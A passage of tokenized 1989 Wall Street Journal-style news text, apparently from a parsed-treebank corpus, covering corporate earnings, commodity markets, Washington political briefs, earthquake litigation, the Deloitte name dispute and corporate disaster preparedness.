Robinson , said Mr. Kelly began working at Dean Witter in 1987 . +Mr. Kelly built the company 's high-yield bond group , which has been a minor player in the junk-bond arena . +Dean Witter lost a separate case involving a former bond executive earlier this year ; in August it paid $ 666,666 in back pay and a bonus to a former corporate-bond trading chief , Harold Bachman . +That award ended a dispute between Dean Witter and Mr. Bachman over who was responsible for certain bond-trading losses around the time of the 1987 stock-market crash . +A spokesman for Dean Witter , a unit of Sears , Roebuck & Co. , declined to comment . +DILLARD DEPARTMENT STORES Inc. said it offered $ 50 million of 9 1\/2 % debentures due 2001 at par . +The Little Rock , Ark. , department-store retailer said proceeds will be used to reduce short-term debt . +Goldman , Sachs & Co. was the underwriter . +American Brands Inc. said third-quarter net income rose 13 % , reflecting strong gains in its tobacco and distilled spirits businesses . +The company , which also has businesses in life insurance , office products and hardware , and home-improvement products , said net income rose to $ 166.4 million , or $ 1.71 a share , from $ 146.8 million , or $ 1.53 a share , a year earlier . +Year-earlier results for the quarter and the nine months were restated to reflect a change in accounting standards . +Revenue declined 2 % , to $ 3.06 billion from $ 3.13 billion , because of the sale of Southland Life in March , and the impact of the stronger U.S. dollar on overseas results . +Operating profit for world-wide tobacco products rose 10 % to $ 247.6 million . +For distilled spirits , operating profit rose 36 % , to $ 24.8 million . +In the first nine months , net rose 1.5 % , to $ 458.8 million , or $ 4.76 a share , from $ 452 million , or $ 4.50 a share , a year earlier . +The year-earlier period included $ 40.1 million , or 41 cents a share , from discontinued operations . +Revenue rose to $ 9.03 billion from $ 8.98 billion . +The average number of shares outstanding rose 2 % in the third quarter but was down 4 % for the nine months . +In composite trading on the New York Stock Exchange , American Brands shares rose $ 1.75 to $ 73 . +SANTA FE PACIFIC PIPELINE PARTNERS Limited Partnership , of Los Angeles , increased its quarterly cash dividend to 60 cents a unit from 55 cents , payable Nov. 14 to units of record Oct. 31 . +The company is an independent refined-petroleum-products pipeline serving six Western states . +WASHINGTON LIES LOW after the stock market 's roller-coaster ride . +Lawmakers , haunted by charges that some of their comments contributed to the 1987 crash , generally shy away from calls for sweeping new legislation . +But a House Energy and Commerce subcommittee will quiz SEC Chairman Breeden Wednesday , and Treasury Secretary Brady will go before the Senate Banking panel Thursday . +The market 's wild week may speed along the market-reform legislation that has been pending for months in the aftermath of the 1987 crash . +It may also expedite the SEC 's modest pending changes in junk-bond disclosure rules and intensify the Treasury 's look at plans for giving new tax breaks on dividends and raising taxes on short-term trades by pension funds . +Brady and Breeden work well together on the plunge , despite the fact that the Treasury secretary opposed Breeden 's nomination to the SEC post . +BAKER FALTERS in the Mideast amid Israeli paralysis and Palestinian politics . +Despite seeing his plan for Israeli-Palestinian elections wither , the cautious secretary of state is so far unwilling to cut U.S. economic or military aid to force Israeli cooperation . +Baker nonetheless remains furious both at Shamir , for backing down on the elections , and at Shamir 's rival , Peres , for political ineptitude in forcing a premature cabinet vote on Baker 's plan . +Meanwhile , some U.S. officials fear PLO chief Arafat is getting cold feet and may back off from his recent moderation and renunciation of terrorism . +He is under intense fire from other Palestinian groups ; Syria is pushing Ahmad Jibril , whose terrorist band is blamed for the Pan Am 103 bombing , as an alternative to Arafat . +DARMAN'S MANEUVERS on the budget and capital gains hurt him in Congress . +Republicans as well as Democrats were angered by the budget director 's rejection of Speaker Foley 's effort to expedite a deficitcutting measure by stripping it of the capital-gains tax cut as well as pet Democratic projects . +Darman now blames the clash on miscommunication , but House GOP leader Michel , who carried the offer to him , observes , `` I was speaking English at the time , and quite loud so I could be understood . '' +Senate GOP leader Dole ridicules the budget chief on the Senate floor . +Democratic counterpart Mitchell , asked to interpret Darman 's threat to make permanent the across-the-board Gramm-Rudman cuts that took effect this week , says , `` I do n't even bother to interpret them . '' +But Darman suggests such tensions will dissipate quickly . +`` If I can show signs of maturity , almost anybody can , '' he jokes . +HHS OFFICIALS expect Secretary Sullivan to continue a ban on research using fetal tissue . +Before he was confirmed , Sullivan said he had `` reservations about any blanket prohibitions on medical research . '' +But now , an official says , he is `` surrounded by right-to-lifers , '' who contend that any breakthroughs in fetal-tissue research could increase the demand for abortions . +COOPERATION WANES on weapons development between the U.S. and Europe . +Britain , France and Italy pull out of a proposal to build new NATO frigates ; the U.S. and West Germany have each withdrawn from missile projects . +Defense experts say joint projects are increasingly squeezed by budget pressures and the desire to save domestic jobs ; some also fear rising protectionism as European unity nears . +BOTH SIDES NOW : +Virginia GOP lieutenant governor candidate Eddy Dalton tries to have it both ways on the abortion issue . +Though she opposes abortion in almost all cases , she airs a TV commercial using pro-choice buzzwords . +`` A woman ought to have a choice in cases where her life or health are in danger and in cases of rape or incest , '' she proclaims . +HOT TOPIC : +Interest in the abortion issue is so great that the Hotline , a daily , computer-distributed political newsletter , comes up with a spinoff product called the Abortion Report dealing solely with its political implications . +CONSERVATIVES EXPECT Bush to solidify their majority on a key court . +Bush has three vacancies to fill on the prestigious D.C. Circuit Court , which handles many important regulatory issues and is often considered a warm-up for future Supreme Court nominees . +Conservatives now hold only a 5-4 edge . +One slot is expected to go to EEOC Chairman Clarence Thomas , a black conservative ; after mulling a fight , liberals now probably wo n't put up a major struggle against him . +Other conservatives thought to be on the administration 's short list include Washington lawyer Michael Uhlmann , who was passed over for the No. 2 job at the Justice Department , and Marshall Breger , chairman of a U.S. agency on administration . +The Bush administration would also like to nominate a woman ; one possibility is former Justice Department official Victoria Toensing . +MINOR MEMOS : +In the wake of the failed Panama coup , a bumper sticker appears : `` Ollie Would Have Got Him . '' ... +Rep. Garcia , on trial for bribery and extortion , puts statements in the Congressional Record attributing missed votes to `` scheduling conflicts . '' ... +A GOP Senate fund-raising letter from Sen. Burns of Montana is made to appear personally written , and its opening line is , `` Please excuse my handwriting . '' +But Burns confesses in an interview : `` That 's not my handwriting . +MC SHIPPING Inc. , New York , declared an initial quarterly of 60 cents a share payable Nov. 15 to shares of record Oct. 30 . +The announcement boosted the charter-shipping company 's shares , which closed at $ 15.125 , up $ 1.25 a share , in composite trading on the American Stock Exchange . +The company , which went public in May , intends to pay dividends from available cash flow ; the amount may vary from quarter to quarter . +Ever since the hotly contested America 's Cup race last year , the famous yachting match has run into more rough sailing out of the water than in it . +Now that a key member of the San Diego Yacht Club team is splitting off to form his own team , even more competition lies ahead . +Peter Isler , the winning navigator in the past two America 's Cup challenges , has split from the team led by Dennis Conner , skipper of the victorious Stars & Stripes , to form his own team for the next contest in 1992 . +And , in addition to a crack team of sailors , Mr. Isler has lined up some real brass to help him finance the syndicate . +Isler Sailing International 's advisory board includes Ted Turner , Turner Broadcasting chairman and a former Cup victor ; Peter G. Diamandis , head of Diamandis Communications , and Joseph B. Vittoria , chairman and chief executive of Avis Inc . +His steering committee includes other notable businessmen , including the California investor and old salt Roy E. Disney . +`` We have the structure , people and plan , '' Mr. Isler said in a statement . +Now , the first order of business is raising enough money to keep his team afloat -- a new yacht will cost about $ 3 million alone , and sailing syndicate budgets can easily run to $ 25 million for a Cup challenge . +The split comes in the midst of a court battle over whether the San Diego Yacht Club should be allowed to keep the international trophy for sailing a catamaran against the New Zealand challengers ' 90-foot monohull . +In September , a New York appellate court overturned a state judge 's ruling that awarded the Cup to the New Zealand team . +Pending an appeal by the New Zealand team , led by Michael Fay , the finals for the next Cup challenge are scheduled to be held in mid-1992 in San Diego . +But because of the uncertainty of the outcome of the suit , Mr. Conner 's team has done little to begin gearing up to defend its title . +`` If you do n't know what the rules of the game are , it 's hard to start your fund-raising or design , '' said Dana Smith , an official with Team Dennis Conner . +The Conner team wo n't be able to negotiate with corporate sponsors until the suit is resolved and the race site is determined , Mr. Smith said , and the syndicate 's budget could easily reach $ 30 million . +But spokesmen for both Mr. Isler and Mr. Conner say the formation of the new syndicate has to do with Mr. Isler 's desire to skipper his own team and begin planning now , rather than any falling out between the two sportsmen . +Mr. Smith and a spokesman for the America 's Cup Organizing Committee insist that the added competition for the defender 's spot will only improve the race . +Missouri farmer Blake Hurst writing in the fall issue of the Heritage Foundation 's Policy Review about the proposed location of a hazardous-waste incinerator in his county : +Of course I 'd rather have a computer software firm in my backyard than a hazardous waste incinerator . +But I 'd also rather live next door to an incinerator than to some of the hog farms I 've seen -LRB- and smelt -RRB- in these parts . +An incinerator is also probably better than having nobody next door -- on our farm there are four unoccupied houses . +On my four-mile drive to farm headquarters each morning , I drive by another four empty houses . +A community of abandoned farmsteads , failing businesses , and crumbling roads and bridges is hardly a desirable one ... . +The loss of 40 jobs by a depressed county in rural Missouri is hardly of national importance except for this : If the most environmentally safe way of dealing with a national problem can not be built in Atchinson County , what hope have we for dealing with the wastes our economy produces ? +After all , farmers here work with `` hazardous '' chemicals every day , many of them the same chemicals that would have been destroyed in the incinerator . +We know they are dangerous , but if handled with care , their benefits far outweigh any risk to the environment . +Just because Stamford , Conn. , High School did nothing when its valuable 1930s mural was thrown in the trash does n't mean the city no longer owns the work of art , a federal judge ruled . +The mural , now valued at $ 1.3 million according to appraisers , was tossed in a trash heap in 1971 by workers who were renovating the building . +The 100-foot-long mural , painted by James Daugherty in 1934 , was commissioned by the federal Works Project Administration . +After the discarded mural was found outside the school by a concerned Stamford graduate , it eventually was turned over to Hiram Hoelzer , a professional art restorer . +Throughout the 1970s , Stamford school and city officials made no effort to locate the mural . +Apparently the officials did n't even know the mural was missing until 1980 , when a researcher found that the painting was in Mr. Hoelzer 's studio and questioned school officials about it . +In 1986 , Stamford officials thanked Mr. Hoelzer for taking care of the mural -- and demanded he return it as soon as possible . +Mr. Hoelzer , however , sued Stamford , claiming that the city had abandoned the artwork and that it had waited too long to reclaim it . +But Judge Louis L. Stanton of federal court in Manhattan ruled that the city could n't be faulted for waiting too long because it did n't realize until 1986 that its ownership of the painting was in dispute . +The judge also ruled that the painting was n't abandoned because officials did n't intend for it to be thrown away and were unaware that the workmen had discarded it . +Mr. Hoelzer did n't return phone calls seeking comment on the judge 's decision . +The judge ordered that a hearing be held Nov. 17 to determine how much the city should pay Mr. Hoelzer for his services . +Mary E. Sommer , corporate counsel for Stamford , said the city has discussed several possible plans for displaying the mural , which portrays various scenes from the Great Depression . +She said the mural `` preserves an era in Stamford and in our country when this type of work was being done . +The prices of corn futures contracts jumped amid rumors that the Soviet Union is keeping up its dizzying October buying binge of U.S. corn . +Those rumors were confirmed after the end of trading yesterday when the U.S. Agriculture Department announced that the Soviets had bought 1.2 million metric tons of U.S. corn , bringing their U.S. corn purchases confirmed so far this month to about five million metric tons . +In trading at the Chicago Board of Trade , the corn contract for December delivery jumped 5.75 cents a bushel to settle at $ 2.44 a bushel . +The Soviet purchases are close to exceeding what some analysts had expected the Soviet Union to buy this fall , the season in which it usually buys much of the corn it imports from the U.S. . +That pace is causing some analysts to speculate that the Soviet Union might soon purchase as much as another two million metric tons . +One sign that more Soviet purchases are possible is that U.S. grain companies yesterday bought an unusually large amount of corn futures contracts . +That sometimes signals that they are laying plans to export corn . +By some estimates , several grain companies combined bought contracts for the possession of roughly one million metric tons of corn . +By buying futures contracts , these companies attempt to protect themselves from swings in the price of the corn that they are obligated to deliver . +Rumors of Soviet interest also pushed up the prices of soybean futures contracts . +Among other things , the Agriculture Department is widely thought to be mulling whether to subsidize the sale of soybean oil to the Soviet Union . +On top of all this , corn and soybean prices rose on reports that the Midwest harvest was disrupted by a freakishly early snow storm that dumped several inches in parts of Indiana and Ohio . +The harvest delays , however , are expected to be temporary . +Balmy temperatures are forecast for next week , said Robert Lekberg , an analyst at Farmers Grain & Livestock Corp. , Chicago . +Many farmers used the jump in prices to sell their recently harvested crop to grain elevator companies . +The heavy selling by farmers helped to damp the price rally . +Wheat futures prices rose slightly . +In other commodity markets yesterday : +PRECIOUS METALS : +Futures prices declined . +A number of developments were negatively interpreted by traders . +December delivery gold fell $ 1.80 an ounce to $ 370.60 . +December silver eased 2.7 cents an ounce to $ 5.133 . +January platinum was down $ 3.60 an ounce at $ 491.10 . +One price-depressing development was the lower-than-expected increase of only 0.2 % in the consumer price index for September , an analyst said . +He noted that the `` core inflation rate , '' which excludes food and energy , was also low at 0.2 % . +Other news that weighed on the market : Initial unemployment claims rose by 62,000 last week ; American Telephone & Telegraph Co. will reduce its managerial staff by 15,000 through attrition ; the oil market turned weaker ; there was n't any investor demand for bullion ; and the dollar strengthened during the day , putting pressure on gold . +Also , the analyst said , economic circumstances are such that both South Africa and the Soviet Union , the principal gold and platinum producers , are being forced to continue selling the metals . +Both are in great need of foreign exchange , and South Africa is also under pressure to meet foreign loan commitments , he said . +`` Putting it all together , we have a negative scenario that does n't look like it will improve overnight , '' he said . +COPPER : +Futures prices recovered in quiet trading . +The December contract rose 1.50 cents a pound to $ 1.2795 . +That contract fell a total of 5.75 cents during the first three days of this week , mostly in reaction to last Friday 's stock market plunge , which prompted concern that it might signal a similar sharp slowing of the U.S. economy and thus reduced demand for copper , a leading industrial metal . +In recent days , however , there has been increased purchasing of copper in London , an analyst said . +Some of this buying was by Japan , which has had its supplies sharply reduced by long production stoppages at the Bougainville mine in Papua New Guinea , Highland Valley mine in British Columbia , and the Cananea mine in Mexico , which are major shippers to Japan . +The increasing likelihood that Cananea and Highland Valley will soon return to production may have cut some of that purchasing , but even if any of these mines begin operating soon , their output wo n't be significant until at least the end of the year , analysts note . +So , one analyst said , even though the long-term production problems may be easing , there will still be a significant need for copper over the next three months , when inventories will remain relatively low . +ENERGY : +Crude oil prices ended mixed . +West Texas Intermediate for November delivery fell 14 cents a barrel to $ 20.42 . +But so-called outer month contracts finished higher . +For instance , December contracts for WTI rose 17 cents to $ 20.42 . +Most energy futures opened lower , following Wednesday 's market downturn . +But a flurry of late trading yesterday beefed up prices . +Heating oil and gasoline futures ended higher as well . +Melvin Belli 's San Francisco law offices may have been the epicenter of legal activity after Tuesday 's earthquake . +In the first 25 minutes after his office 's telephone service was restored yesterday morning , 17 potential clients had called seeking the services of the self-proclaimed King of Torts . +Mr. Belli , like many other personal-injury lawyers , suspects that the earthquake , which measured 6.9 on the Richter scale , will generate enough lawsuits to keep this city 's personal-injury and construction lawyers busy for quite some time . +Suits are likely to be filed against engineering firms , contractors and developers , as well as against local-government agencies . +But lawyers looking to cash in on the quake may have a tough time once their cases reach a judge . +Experts on California tort law say protections afforded government agencies in such cases are pretty ironclad . +Even claims against individuals and companies face significant roadblocks . +The major legal barrier is the principle that no one can be held liable for an `` act of God . '' +For now , says Laurence Drivon , president-elect of the 6,000-member California Trial Lawyers Association , `` the last thing we really need to worry about is whether anybody is going to get sued , or whether they have liability or not . +We still have people wandering around in a daze in San Francisco worrying about whether it 's going to rain tonight . '' +But that wo n't stop plaintiffs ' lawyers from seeking a little room for maneuvering . +In San Francisco , they argue , an earthquake was a near certainty . +Therefore , engineering firms , construction contractors and developers can be sued for not keeping structures up to standard , and government agencies can be held accountable for failing to properly protect citizens from such a foreseeable disaster , if negligence can be proven . +`` My prediction is there will be mass litigation over errors and omissions in engineering and contracting , '' says Stanley Chesley , a well-known Cincinnati plaintiffs lawyer . +From what he saw on television , Mr. Chesley points out that Interstate 880 , which collapsed and killed more than 200 commuters , suffered serious damage while surrounding buildings appeared to sustain no damage whatsoever . +He adds that `` they were aware of the propensity for earthquakes and the San Andreas Fault . '' +The flamboyant and publicity-conscious Mr. Belli says he already has investigators looking into who could be held liable for the damage on the Bay Bridge and the interstate approaching it . +`` We wo n't know until the smoke clears -- but yes , we 're looking into it , '' he says . +Mr. Belli says he wants to know whether state or federal engineers or private companies could have prevented the damage . +Mr. Belli , who was at Candlestick Park for the World Series Tuesday night , says he has hired civil engineers to check out his own mildly damaged building and to investigate the bridge collapse . +Defense lawyers , perhaps understandably , say that plaintiffs ' lawyers taking such an approach will have little success in pursuing their claims , though they add that the facts of each case must be looked at individually . +`` A lot of this is going to be code-related , '' says Ignazio J. Ruvolo , a construction law specialist at Bronson , Bronson & McKinnon , a San Francisco law firm . +Plaintiffs , he says , will argue that damaged structures were n't built to proper design standards . +But if defendants can prove that they met San Francisco 's stringent building codes , `` that 's probably going to protect them , '' Mr. Ruvolo says . +Government entities , continues Mr. Ruvolo , could be protected by the California Government Tort Liability Act . +Under the statute , agencies are provided `` defenses that normally are n't available in the private sector , '' Mr. Ruvolo says . +`` The legislature does not want to inhibit the unique government activities by exposing public entities to liability . '' +Built into the statute are so-called design immunities , which are likely to protect government agencies , according to Mr. Ruvolo and Richard Covert , a lawyer with the California Department of Transportation , which oversees the damaged Bay Bridge . +The state is protected when plans and designs for public structures were approved ahead of time or when structures met previously approved standards , says Mr. Covert . +He believes those defenses might well apply to the Bay Bridge collapse . +Nevertheless , he adds , `` I would n't get totally shocked if we get lawsuits out of the Bay Bridge . '' +If there 's going to be a race to the courthouse , it has n't started yet . +Mr. Covert had to search through law books scattered on the floor of his office yesterday , and Mr. Belli 's courtyard was strewn with bricks . +Wednesday , Mr. Belli 's staff was n't permitted into his office by city officials worried about their safety . +He said he set up shop on the sidewalk in front of his town-house office and helped victims apply for federal aid -- free of charge . +In a news release issued by Mr. Drivon , the trial lawyers association also promised free assistance to victims . +The association said it would monitor the conduct of lawyers and warned that solicitation of business is unethical . +What 's in a name ? +Apparently a lot , according to the British firm of Deloitte , Haskins & Sells . +The British firm has begun court proceedings in London to prevent the use of the name `` Deloitte '' by Deloitte , Haskins & Sells and Touche Ross & Co. in England and the rest of the world . +The British Deloitte firm recently withdrew from the merger of Deloitte and Touche world-wide and joined Coopers & Lybrand . +John Bullock , senior partner of Deloitte in the U.K. , said `` the decision to start these proceedings has n't been taken lightly . '' +Mr. Bullock said the British firm has used the name `` Deloitte '' since 1845 . +In the U.S. , Deloitte , Haskins & Sells was known as Haskins & Sells until 1978 , when it added the `` Deloitte '' name of its British affiliate . +John C. Burton , an accounting professor at Columbia University 's Graduate School of Business , said `` there 's a lot of emotion involved in the name of an accounting firm with a long history and with roots in England , where accounting predates the U.S. . '' +Although accountants are n't noted as `` being deeply emotional , they really hold it all in , '' said Mr. Burton , former chief accountant of the Securities and Exchange Commission . +J. Michael Cook , chairman of Deloitte , Haskins & Sells International , said he believes the legal action by the British firm `` to be without merit . '' +Mr. Cook said that last June , the international executive committes of Deloitte and Touche agreed to a world-wide merger . +`` The merger is proceeding according to plan , except as to the withdrawal of the Deloitte U.K. firm , '' he said . +Partners at other accounting firms say that the Deloitte firm in the U.K. is filing the suit to get even with the merged Deloitte-Touche firm for keeping major auditing work in England . +General Motors Corp. , a Deloitte audit client , for example , has agreed to keep its annual $ 18 million world-wide audit and associated tax work with the merged Deloitte-Touche firm , to be known as Deloitte & Touche in the U.S. . +In England , this would mean that the British Deloitte would lose revenue for its audit of GM 's Vauxhill unit . +The defection of Deloitte 's affiliates in Britain and the Netherlands to Coopers & Lybrand will make Coopers one of the biggest accounting firms in Europe , rivaling KPMG Peat Marwick there . +Although Coopers has n't been courted by other major accounting firms for a merger , it is benefiting greatly from fallout from the Deloitte-Touche merger . +In New York , Harris Amhowitz , general counsel of Coopers , said Coopers `` was aware of the litigation , '' but he declined further comment . +He also declined to comment on the name that Coopers would use in England if Deloitte UK won its litigation to keep its name . +Coopers uses the Coopers & Lybrand name world-wide . +William Bennett , the White House drug-policy director , accused local officials in the Washington area of blocking construction of prison facilities to house convicted drug dealers . +`` Politics has essentially put up a roadblock '' to finding sites for new federal prisons , Mr. Bennett said at a news conference called to report on his `` emergency assistance program '' for the capital . +Without more space to incarcerate convicted criminals , he added , `` we will not win the war on drugs . '' +Mr. Bennett declared in April that he would make Washington a `` test case '' for how the Bush administration would aid cities afflicted by heavy drug trafficking and violence . +The drug czar claimed that enforcement efforts are working here , `` albeit at a slower and more halting pace than we would like . '' +He acknowledged , however , that Washington 's `` drug-related murder rate is intolerably high . +The prisons are too crowded . +Drugs continue to be sold openly around schools , parks and housing projects . '' +Mr. Bennett declined to name the area officials who he believes have impeded plans for building more federal prisons to ease Washington 's problem . +But other Bush administration officials have criticized Maryland Gov. William Schaefer for blocking the use of possible sites in that state . +Administration officials also have said that Washington Mayor Marion Barry has delayed consideration of sites in the city . +In a letter to Mr. Bennett 's office , released yesterday , Washington 's city administrator , Carol Thompson , complained that the drug czar had exaggerated the amount of federal drug-related assistance provided to the capital . +Referring to Mr. Bennett 's claim that the federal government would provide $ 97 million in emergency federal support , Ms. Thompson wrote , `` Our analysis was unable to even come close to documenting that figure . '' +Of his successes in Washington , Mr. Bennett stressed that existing federal prisons have taken custody of 375 local inmates . +He also noted that the federal Drug Enforcement Administration has established a federal-local task force responsible since April for 106 arrests and more than $ 2 million in seizures of drug dealers ' assets . +The Defense Department has lent the Washington U.S. attorney 10 prosecutors , and the Federal Bureau of Investigation has provided crime laboratory facilities and training , he added . +What if it happened to us ? +In the wake of the earthquake in California and the devastation of Hurricane Hugo , many companies in disaster-prone areas are pondering the question of preparedness . +Some , particularly in West Coast earthquake zones , are dusting off their evacuation plans , checking food stocks and reminding employees of what to do if emergency strikes . +Others say they feel confident that steps they 've already taken would see them through a disaster . +Preparedness involves more than flashlights and fire alarms these days . +Some big companies have teams of in-house experts focusing on safety and business resumption . +Many companies in the path of potential disaster have set up contingency offices in safe regions , hoping they can transport employees there and resume operations quickly . +That means making sure that copies of vital computer software and company records are out of harm 's way . +Some businesses -- like Disneyland -- claim that even if they became isolated in a crisis , they would be able to feed and care for their people for as long as five days . +`` Self-sufficiency has to be the cornerstone of your plan , '' says Stephanie Masaki-Schatz , manager of corporate emergency planning at Atlantic Richfield Co. in Los Angeles . +`` If you do n't save your critical people , you wo n't be able to bring up your vital business functions . '' +Although ARCO 's head office , more than 300 miles from the epicenter , was n't affected by this week 's tremors , Ms. Masaki-Schatz used the occasion to distribute a three-page memo of `` Earthquake Tips '' to 1,200 ARCO employees . +`` You need to capitalize on these moments when you have everyone 's attention , '' she says . +`` It was a good reminder that we all need to prepare prior to an event . '' +The ARCO memo urges employees to keep certain supplies at work , such as solid shoes and `` heavy gloves to clear debris . '' +It also recommends that employees be aware of everyday office items that could be used for emergency care or shelter . +Among the suggestions : Pantyhose and men 's ties could be used for slings , while removable wooden shelves might aid in `` breaking through office walls . '' +ARCO maintains an office in Dallas that would take over if payroll operations in Pasadena were disrupted . +Two months ago the company set up a toll-free number , based outside California , to handle queries from employees about when they should report back to work after an earthquake or other disaster . +The ARCO plan takes into account such details as which aspects of business are busier at certain times of the year . +This way , depending on when a quake might strike , priorities can be assigned to departments that should be brought back on line first . +At Hewlett-Packard Co. , the earthquake came just as the company was reviewing its own emergency procedures . +`` We were talking about scheduling a practice drill for November , '' says Joan Tharp , a spokeswoman . +`` Then we had a real one in the afternoon . '' +The Palo Alto , Calif. , computer maker scrambled to set up a special phone line to tell manufacturing and support staff to stay home Wednesday . +Sales and service employees were asked to report to work to help Bay area clients who called with computer problems . +Hewlett-Packard also called in its systems experts to restore its own computer operations . +`` That means we can accept orders '' and begin getting back to normal , says Ms. Tharp . +Prompted by an earlier California earthquake , as well as a fire in a Los Angeles office tower , Great Western Bank in the past year hired three emergency planners and spent $ 75,000 equipping a trailer with communications gear to serve as an emergency headquarters . +Although officials of the savings and loan , a unit of Great Western Financial Corp. , used some of their new plans and equipment during this week 's quake , they still lost touch for more than 24 hours with 15 branches in the affected areas , not knowing if employees were injured or vaults were broken open . +`` Some people flat out did n't know what to do , '' says Robert G. Lee , vice president for emergency planning and corporate security at Great Western . +As it turned out , bank employees were n't hurt and the vaults withstood the jolts . +Still , says Mr. Lee : `` We need to educate people that they need to get to a phone somehow , some way , to let someone know what their status is . '' +Some companies are confident that they 're prepared . +Occidental Petroleum Corp. holds regular evacuation drills and stocks food , oxygen and non-prescription drugs at checkpoints in its 16-story headquarters . +The company also maintains rechargeable flashlights in offices and changes its standby supply of drinking water every three months . +`` We feel we are doing everything we can , '' an Occidental spokesman says . +Walt Disney Co. 's Disneyland in Anaheim , Calif. , stocks rescue equipment , medical supplies , and enough food and water to feed at least 10,000 visitors for as long as five days in the event that a calamity isolates the theme park . +The park also has emergency centers where specially trained employees would go to coordinate evacuation and rescue plans using walkie-talkies , cellular phones , and a public-address system . +The centers are complete with maps detailing utility lines beneath rides and `` safe havens '' where people can be assembled away from major structures . +Vista Chemical Co. , with three chemical plants in and near Lake Charles , La. , `` prepares for every hurricane that enters the Gulf of Mexico , '' says Keith L. Fogg , a company safety director . +Hurricane Hugo , an Atlantic storm , did n't affect Vista . +But two other major storms have threatened operations so far this year , most recently Hurricane Jerry this week . +Because hurricanes can change course rapidly , the company sends employees home and shuts down operations in stages -- the closer a storm gets , the more complete the shutdown . +The company does n't wait until the final hours to get ready for hurricanes . +`` There are just tons of things that have to be considered , '' Mr. Fogg says . +`` Empty tank cars will float away on you if you get a big tidal surge . '' +Still , Vista officials realize they 're relatively fortunate . +`` With a hurricane you know it 's coming . +You have time to put precautionary mechanisms in place , '' notes a Vista spokeswoman . +`` A situation like San Francisco is so frightening because there 's no warning . +Former Democratic fund-raiser Thomas M. Gaubert , whose savings and loan was wrested from his control by federal thrift regulators , has been granted court permission to sue the regulators . +In a ruling by the Fifth U.S. Circuit Court of Appeals in New Orleans , Mr. Gaubert received the go-ahead to pursue a claim against the Federal Home Loan Bank Board and the Federal Home Loan Bank of Dallas for losses he suffered when the Bank Board closed the Independent American Savings Association of Irving , Texas . +Mr. Gaubert , who was chairman and the majority stockholder of Independent American , had relinquished his control in exchange for federal regulators ' agreement to drop their inquiry into his activities at another savings and loan . +As part of the agreement , Mr. Gaubert contributed real estate valued at $ 25 million to the assets of Independent American . +While under the control of federal regulators , Independent American 's net worth dropped from $ 75 million to a negative $ 400 million , wiping out the value of Mr. Gaubert 's real estate contribution and his stock in the institution . +Mr. Gaubert 's suit to recover his damages was dismissed last year by U.S. District Judge Robert Maloney of Dallas under the Federal Tort Claims Act , which offers broad protection for actions by federal agencies and employees . +Earlier this week , a Fifth Circuit appellate panel upheld Judge Maloney 's dismissal of Mr. Gaubert 's claim as a shareholder but said the judge should reconsider Mr. Gaubert 's claim for the loss of his property . +`` It may depend on whether there was an express or implied promise ... that the federal officials would not negligently cause the deterioration '' of Independent American , the court wrote . +Mr. Gaubert 's lawyer , Abbe David Lowell of Washington , D.C. , says the impact of the ruling on other cases involving thrift takeovers will depend on the degree of similarity in the facts . +`` I do n't know if this will affect one institution or a hundred , '' Mr. Lowell says . +`` It does establish a very clear precedent for suing the FHLBB where there was none before . '' +MAITRE'D CLAIMS in suit that restaurant fired her because she was pregnant . +In a suit filed in state court in Manhattan , the American Civil Liberties Union is representing the former maitre 'd of the chic Odeon restaurant . +The suit , which seeks compensatory and punitive damages of $ 1 million , alleges that the firing of Marcia Trees Levine violated New York state 's human-rights law . +Among other things , the law prohibits discrimination on the basis of sex and pregnancy . +The suit alleges that Ms. Levine was fired after she refused to accept a lower paying , less visible job upon reaching her sixth month of pregnancy . +Ms. Levine told her employer that she was pregnant in February ; a month later , the suit says , the restaurant manager told Ms. Levine that she would be demoted to his assistant because he felt customers would be uncomfortable with a pregnant maitre 'd . +Kary Moss , an attorney with the ACLU 's Women 's Rights Project , said , `` They wanted a svelte-looking woman , and a pregnant woman is not svelte . +They told her , ` We do n't hire fat people and we do n't hire cripples . +And pregnant women are fat . ' '' +Ms. Moss said Ms. Levine secretly taped many conversations with her bosses at the Odeon in which they told her she was being fired as maitre 'd because she was pregnant . +Paul H. Aloe , an attorney for Odeon owner Keith McNally , denied the allegations . +He said Ms. Levine had never been fired , although she had stopped working at the restaurant . +`` The Odeon made a written offer to Marcia Levine on July 10 to return to work as the maitre 'd , at the same pay , same hours and with back pay accrued , '' he said . +Mr. Aloe said the Odeon `` has no policy against hiring pregnant people . '' +LAWYERS IN Texas 's biggest bank-fraud case want out in face of retrial . +Lawyers representing five of the seven defendants in the case say their clients can no longer afford their services . +The trial of the case lasted seven months and ended in September with a hung jury . +The defendants were indicted two years ago on charges that they conspired to defraud five thrifts of more than $ 130 million through a complicated scheme to inflate the price of land and condominium construction along Interstate 30 , east of Dallas . +The defense lawyers , three of whom are solo practitioners , say they ca n't afford to put their law practices on hold for another seven-month trial . +Some of the lawyers say they would continue to represent their clients if the government pays their tab as court-appointed lawyers . +Assistant U.S. Attorney Terry Hart of Dallas says the government will oppose any efforts to bring in a new defense team because it would delay a retrial . +FEDERAL JUDGE ALCEE HASTINGS of Florida , facing impeachment , received an unanticipated boost yesterday . +Sen. Arlen Specter -LRB- R. , Pa . -RRB- urged acquittal of the judge in a brief circulated to his Senate colleagues during closed-door deliberations . +Among other things , the brief cited insufficient evidence . +Sen. Specter was vice chairman of the impeachment trial committee that heard evidence in the Hastings case last summer . +A former prosecutor and member of the Senate Judiciary Committee , Sen. Specter is expected to exercise influence when the Senate votes on the impeachment today . +RICHMOND RESIGNATIONS : +Six partners in the Richmond , Va. , firm of Browder , Russell , Morris & Butcher announced they are resigning . +Five of the partners -- James W. Morris , Philip B. Morris , Robert M. White , Ann Adams Webster and Jacqueline G. Epps -- are opening a boutique in Richmond to concentrate on corporate defense litigation , particularly in product liability cases . +The sixth partner , John H. OBrion , Jr. , is joining Cowan & Owen , a smaller firm outside Richmond . +LAW FIRM NOTES : +Nixon , Hargrave , Devans & Doyle , based in Rochester , N.Y. , has opened an office in Buffalo , N.Y ... . +Mayer , Brown & Platt , Chicago , added two partners to its Houston office , Eddy J. Roger Jr. , and Jeff C. Dodd ... . +Copyright specialist Neil Boorstyn , who writes the monthly Copyright Law Journal newsletter , is joining McCutchen , Doyle , Brown & Enersen . +New York Times Co. 's third-quarter earnings report is reinforcing analysts ' belief that newspaper publishers will be facing continued poor earnings comparisons through 1990 . +The publisher was able to register soaring quarter net income because of a onetime gain on the sale of its cable-TV system . +However , operating profit fell 35 % to $ 16.4 million . +The decline reflected the expense of buying three magazines , lower earnings from the forest-products group , and what is proving to be a nagging major problem , continued declines in advertising linage at the New York Times , the company 's flagship daily newspaper . +In composite trading on the American Stock Exchange , New York Times closed at $ 28.125 